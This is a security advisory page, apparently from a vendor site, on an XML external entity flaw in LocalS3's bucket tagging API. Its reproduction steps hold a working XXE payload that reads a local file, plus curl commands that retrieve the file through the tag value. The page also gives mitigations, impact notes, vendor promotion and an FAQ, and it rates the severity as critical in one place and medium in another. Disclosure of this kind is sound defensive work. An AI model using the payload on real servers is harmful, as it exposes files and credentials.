Summary
LocalS3 Project Vulnerable to XML External Entity (XXE) Injection via Bucket Tagging API
Description
The LocalS3 project, an S3-compatible storage service, is vulnerable to XML External Entity (XXE) injection through its bucket tagging API. The vulnerability exists because the application processes XML input without properly disabling external entity resolution.
When processing XML data for bucket tagging operations, the application allows the definition and resolution of external entities. This vulnerability allows an attacker to read arbitrary files from the server's filesystem by defining an external entity that references local files.
The vulnerability is particularly severe because it allows direct access to sensitive files on the server's filesystem, bypassing any intended access controls. The XXE vulnerability can be exploited to read any file that the application process has access to, potentially exposing sensitive configuration files, credentials, or other confidential information.
Steps to Reproduce
Create a bucket in the LocalS3 service using any S3 client (e.g., AWS CLI, boto3)
Send a PUT request to the bucket tagging endpoint with the following XML payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///flag.txt" > ]> <Tagging><TagSet><Tag><Key>xxe</Key><Value>&xxe;</Value></Tag></TagSet></Tagging>curl -X PUT \ -H "Host: app" \ -H "Authorization: AWS dummy:dummy" \ -H "Content-Type: application/xml" \ --data-binary @xxe.xml \ http://app/bucket?taggingRetrieve the bucket tags using a GET request to the same endpoint
curl -H "Authorization: AWS dummy:dummy" http://app-1/bucket?taggingThe content of the targeted file will be returned in the tag value
The successful exploitation of this vulnerability results in the contents of sensitive files being disclosed through the XML response, demonstrating the ability to read arbitrary files from the server's filesystem.
Mitigations
- Disable XML external entity resolution in the XML parser configuration
- Implement proper XML parsing security controls such as disabling DTD processing altogether
- Use a safe parser configuration that doesn't process external entities or DTDs by default
- Validate and sanitize all XML input before processing to prevent injection of malicious entities
Impact
Critical severity vulnerability allowing unauthenticated attackers to read arbitrary files from the server's filesystem. This can lead to exposure of sensitive information, configuration files, and system data, potentially enabling further attacks against the system. The impact is heightened by the fact that the vulnerability requires minimal technical knowledge to exploit and can be triggered through standard S3 API operations.
An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs. Typical impact: local file disclosure, server-side request forgery, or denial of service.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-V232-254C-M6P7? GHSA-V232-254C-M6P7 is a medium-severity XML external entity injection (XXE) vulnerability in io.github.robothy:local-s3-rest (maven), affecting versions < 1.21. It is fixed in 1.21. An XML parser processes external entity references in untrusted input, causing the server to fetch internal resources or remote URLs.
- Which versions of io.github.robothy:local-s3-rest are affected by GHSA-V232-254C-M6P7? io.github.robothy:local-s3-rest (maven) versions < 1.21 is affected.
- Is there a fix for GHSA-V232-254C-M6P7? Yes. GHSA-V232-254C-M6P7 is fixed in 1.21. Upgrade to this version or later.
- Is GHSA-V232-254C-M6P7 exploitable, and should I be worried? Whether GHSA-V232-254C-M6P7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-V232-254C-M6P7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-V232-254C-M6P7? Upgrade
io.github.robothy:local-s3-restto 1.21 or later.